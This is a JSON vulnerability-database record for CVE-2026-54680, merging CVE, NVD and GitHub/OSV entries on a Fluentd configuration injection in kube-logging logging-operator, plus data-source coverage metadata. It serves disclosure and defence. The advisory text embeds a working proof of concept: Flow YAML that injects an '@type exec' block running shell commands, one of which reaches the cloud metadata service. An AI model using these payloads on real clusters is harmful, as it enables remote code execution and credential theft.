{"id":"CVE-2026-54680","revision":null,"records":[{"revision":"41150f599dd545b68f94b0bbce1af8ef","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-54680","aliases":[],"title":"Logging operator has Fluentd configuration injection that allows remote code execution","description":"Logging operator automates the deployment and configuration of Kubernetes logging pipelines. Prior to 6.6.0, the Fluentd configuration renderer FluentRender in pkg/sdk/logging/model/render/fluent.go writes CRD strings such as Flow record_transformer.records values directly into fluent.conf without escaping, allowing a user who can create Flow resources to inject a Fluentd <match **> block using @type exec and execute arbitrary commands inside the Fluentd aggregator. This issue is fixed in version 6.6.0.","state":0,"publishedAt":"2026-07-29T16:57:16.913+00:00","modifiedAt":"2026-07-30T13:56:07.649+00:00","affected":[{"ecosystem":"Vendor product","name":"logging-operator","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"kube-logging\",\n                    \"product\": \"logging-operator\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 6.6.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"severity":"CRITICAL"}],"references":["https://github.com/kube-logging/logging-operator/security/advisories/GHSA-mjqf-28ph-426h","https://github.com/kube-logging/logging-operator/commit/cf437d7f1e056c78740bf5716ac8bdebcf002425","https://github.com/kube-logging/logging-operator/releases/tag/6.6.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-54680","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-54680","identifiers":["CVE-2026-54680"]},"retained":false,"historicalAffected":[]},{"revision":"b8a2acd22f98468298344be79aae5ebb","observedAt":"2026-10-25T13:17:28.253+00:00","statement":{"source":"nvd","id":"CVE-2026-54680","aliases":[],"title":"Logging operator automates the deployment and configuration of Kubernetes logging pipelines. Prior to 6.6.0, the Fluentd configuration renderer FluentRender in pkg/sdk/logging/model/render/fluent.go writes CRD strings such as Flow record_tr…","description":"Logging operator automates the deployment and configuration of Kubernetes logging pipelines. Prior to 6.6.0, the Fluentd configuration renderer FluentRender in pkg/sdk/logging/model/render/fluent.go writes CRD strings such as Flow record_transformer.records values directly into fluent.conf without escaping, allowing a user who can create Flow resources to inject a Fluentd <match **> block using @type exec and execute arbitrary commands inside the Fluentd aggregator. This issue is fixed in version 6.6.0.","state":0,"publishedAt":"2026-07-29T17:16:52.9+00:00","modifiedAt":"2026-10-24T13:10:00.147+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"severity":"CRITICAL"}],"references":["https://github.com/kube-logging/logging-operator/commit/cf437d7f1e056c78740bf5716ac8bdebcf002425","https://github.com/kube-logging/logging-operator/releases/tag/6.6.0","https://github.com/kube-logging/logging-operator/security/advisories/GHSA-mjqf-28ph-426h"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54680","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-74","CWE-77"],"productCriteria":[],"sourceDates":{"published":"2026-07-29T17:16:52.900","lastModified":"2026-10-24T13:10:00.147"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-54680","identifiers":["CVE-2026-54680"]},"retained":false,"historicalAffected":[]},{"revision":"ea1e5d6411344ba18ed414b140db5ec7","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-mjqf-28ph-426h","aliases":["CVE-2026-54680","GO-2026-6142"],"title":"Logging operator has Fluentd configuration injection that allows remote code execution","description":"### Summary\n\nThe Fluentd configuration renderer in Logging operator writes strings from CRDs such as `Flow` directly into `fluent.conf` without escaping them. As a result, a user who can create `Flow` resources can inject Fluentd configuration by providing values that contain newlines.\n\nIn the confirmed path, a value in `record_transformer.records` can close the current `<record>` / `<filter>` block and add a new `<match **>` block. By specifying Fluentd's core `@type exec` plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator.\n\n### Details\n\nThe issue is in `FluentRender` in `pkg/sdk/logging/model/render/fluent.go`.\n\nhttps://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/render/fluent.go#L60-L87\n\nEach parameter is rendered as `key value`, but values are not quoted, and newlines or characters such as `<` and `>` are not rejected. In addition, `indentedf` builds the string with `fmt.Sprintf` and then splits it on `\\n`, so newlines inside CRD values become new lines in the generated Fluentd configuration.\n\nOne input source is `record_transformer.records`. `ToDirective` passes `Record` (`map[string]string`) into `Params` without validation or escaping.\n\nhttps://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/filter/record_transformer.go#L92-L103\n\nThe config check in `pkg/resources/fluentd/appconfigmap.go` runs `fluentd -c ... --dry-run`, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. `@type exec` is a core Fluentd plugin and is available in the official Fluentd image.\n\n### PoC\n\nThe prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create `Flow` and `Output` resources in a watched namespace, for example `tenant-a`.\n\nFirst, create a minimal `Output` as the log destination.\n\n```yaml\napiVersion: logging.banzaicloud.io/v1beta1\nkind: Output\nmetadata:\n  name: sink\n  namespace: tenant-a\nspec:\n  nullout: {}\n```\n\nNext, create a `Flow` whose `record_transformer.records` value contains an injected `@type exec` block.\n\n```yaml\napiVersion: logging.banzaicloud.io/v1beta1\nkind: Flow\nmetadata:\n  name: exfil\n  namespace: tenant-a\nspec:\n  match:\n    - select: {}\n  filters:\n    - record_transformer:\n        records:\n          - x: |-\n              y\n              </record>\n              </filter>\n              <match **>\n                @type exec\n                command /bin/sh -c \"id > /tmp/pwned\"\n                <format>\n                  @type json\n                </format>\n                <buffer>\n                  flush_interval 1s\n                </buffer>\n              </match>\n              <filter dummy.**>\n                @type record_transformer\n                <record>\n                  absorbed y\n  localOutputRefs:\n    - sink\n```\n\nAfter applying the manifests, the Fluentd configuration Secret generated by the operator contains `@type exec`.\n\n```sh\nkubectl apply -f output.yaml -f flow.yaml\n\nkubectl -n <control-namespace> get secret <logging>-fluentd-app \\\n  -o go-template='{{ index .data \"fluentd.conf\" }}' \\\n  | base64 -d | grep -A8 '@type exec'\n```\n\nWhen any Pod in `tenant-a` emits logs, those logs flow into the injected `<match **>` block. When `out_exec` flushes its buffer, the command is executed and can be confirmed as follows.\n\n```sh\nkubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned\n# expected:\nuid=100(fluent) gid=101(fluent) groups=101(fluent)\n```\n\n### Impact\n\nThis is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator.\nBecause the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create `Flow` / `Output` resources in one namespace can execute arbitrary commands inside the shared aggregator.\n\nIn environments such as AWS EKS, the Fluentd Pod may be able to reach the node's Instance Metadata Service (IMDS). This was confirmed on EKS 1.35. The core issue is arbitrary command execution, so the same class of attack is possible even when IMDSv2 is required. The following `Flow` example uses IMDSv1 only to make reachability easy to demonstrate.\n\n```yaml\napiVersion: logging.banzaicloud.io/v1beta1\nkind: Flow\nmetadata:\n  name: imds-poc\n  namespace: tenant-a\nspec:\n  match:\n    - select: {}\n  filters:\n    - record_transformer:\n        records:\n          - x: |-\n              y\n              </record>\n              </filter>\n              <match **>\n                @type exec\n                command /bin/sh -c \"curl -sS http://169.254.169.254/latest/meta-data/instance-id -o /tmp/imds-poc\"\n                <format>\n                  @type json\n                </format>\n                <buffer>\n                  flush_interval 1s\n                </buffer>\n              </match>\n              <filter dummy.**>\n                @type record_transformer\n                <record>\n                  absorbed y\n  localOutputRefs:\n    - sink\n```","state":0,"publishedAt":"2026-07-29T17:01:29+00:00","modifiedAt":"2026-09-10T03:50:52.7554842+00:00","affected":[{"ecosystem":"Go","name":"github.com/kube-logging/logging-operator","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260608145523-cf437d7f1e05"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/kube-logging/logging-operator/security/advisories/GHSA-mjqf-28ph-426h","https://github.com/kube-logging/logging-operator/commit/cf437d7f1e056c78740bf5716ac8bdebcf002425","https://github.com/kube-logging/logging-operator","https://github.com/kube-logging/logging-operator/releases/tag/6.6.0"],"sourceUrl":"https://github.com/advisories/GHSA-mjqf-28ph-426h","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-mjqf-28ph-426h","identifiers":["GHSA-mjqf-28ph-426h","CVE-2026-54680","GO-2026-6142"]},"retained":false,"historicalAffected":[]},{"revision":"472738196a3f44119d74f347ce07d911","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6142","aliases":["CVE-2026-54680","GHSA-mjqf-28ph-426h"],"title":"Logging operator has Fluentd configuration injection that allows remote code execution in github.com/kube-logging/logging-operator","description":"Logging operator has Fluentd configuration injection that allows remote code execution in github.com/kube-logging/logging-operator","state":0,"publishedAt":"2026-08-18T14:32:29+00:00","modifiedAt":"2026-08-18T15:00:23.1699677+00:00","affected":[{"ecosystem":"Go","name":"github.com/kube-logging/logging-operator","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260608145523-cf437d7f1e05"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/kube-logging/logging-operator/security/advisories/GHSA-mjqf-28ph-426h","https://github.com/kube-logging/logging-operator/commit/cf437d7f1e056c78740bf5716ac8bdebcf002425","https://github.com/kube-logging/logging-operator/releases/tag/6.6.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6142","license":"OSV · upstream source license applies","key":"osv:GO-2026-6142","identifiers":["GO-2026-6142","CVE-2026-54680","GHSA-mjqf-28ph-426h"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-26T02:37:01.8023049+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-26T02:37:01.8023049+00:00","lastSuccessAt":"2026-10-26T02:37:01.9582808+00:00","error":null,"lastVerifiedAt":"2026-10-26T02:37:01.9582828+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-5ba1945314e042c2ced14b33f3680fa71692812d925544312b218f5eb8a26e71-db718265d4164c5786f6ba29fb49aaca9f98d018ab1781237fdcf612cd6089e1","complete":true,"records":414057,"lastAttemptAt":"2026-10-26T02:35:18.1393313+00:00","lastSuccessAt":"2026-10-26T02:35:18.1285176+00:00","error":null,"lastVerifiedAt":"2026-10-26T02:35:18.1393313+00:00","snapshotPublishedAt":"2026-10-26T01:45:24+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-26T02:37:04.5963782+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":4764,"expectedIdentifiers":13474},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-26T02:37:01.8023049+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-26T02:37:01.8023049+00:00","lastSuccessAt":"2026-10-26T02:37:02.0734316+00:00","error":null,"lastVerifiedAt":"2026-10-26T02:37:02.0734335+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-204a3fb93a00487e8f7f36db01dc851d","complete":true,"records":13413,"lastAttemptAt":"2026-10-26T02:37:02.696128+00:00","lastSuccessAt":"2026-10-25T16:19:28.681+00:00","error":null,"lastVerifiedAt":"2026-10-25T16:19:28.681+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13474,"expectedIdentifiers":13474},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-2375a4e597279abf92e8747e140fe8da9d421877cd49cae3ac69a2cb78469b2c","complete":true,"records":9779,"lastAttemptAt":"2026-10-26T02:37:01.7380852+00:00","lastSuccessAt":"2026-10-24T13:19:53.1346702+00:00","error":null,"lastVerifiedAt":"2026-10-26T02:37:01.7380852+00:00","snapshotPublishedAt":"2026-10-24T03:03:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-16ad89dfea13ab9e9b0108e63a759d63bd4559cc68b58491107d62ee35bbbaf2","complete":true,"records":1965,"lastAttemptAt":"2026-10-26T02:35:18.2014911+00:00","lastSuccessAt":"2026-10-23T16:01:26.4487605+00:00","error":null,"lastVerifiedAt":"2026-10-26T02:35:18.2014911+00:00","snapshotPublishedAt":"2026-10-21T12:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-7da67a15aa6e56a0e3081a7646dc74d537e6ef974afc593c2b1794ed01970648","complete":true,"records":2969,"lastAttemptAt":"2026-10-26T02:37:01.7526933+00:00","lastSuccessAt":"2026-10-24T13:19:59.1145547+00:00","error":null,"lastVerifiedAt":"2026-10-26T02:37:01.7526933+00:00","snapshotPublishedAt":"2026-10-24T08:47:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-d6410afbb1aa373ee2535dba99f1cc1a4b2a7a61e4171d3e4abf4e44fb758256","complete":true,"records":230794,"lastAttemptAt":"2026-10-26T02:37:01.5387917+00:00","lastSuccessAt":"2026-10-26T02:37:00.2862835+00:00","error":null,"lastVerifiedAt":"2026-10-26T02:37:01.5387917+00:00","snapshotPublishedAt":"2026-10-26T01:48:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}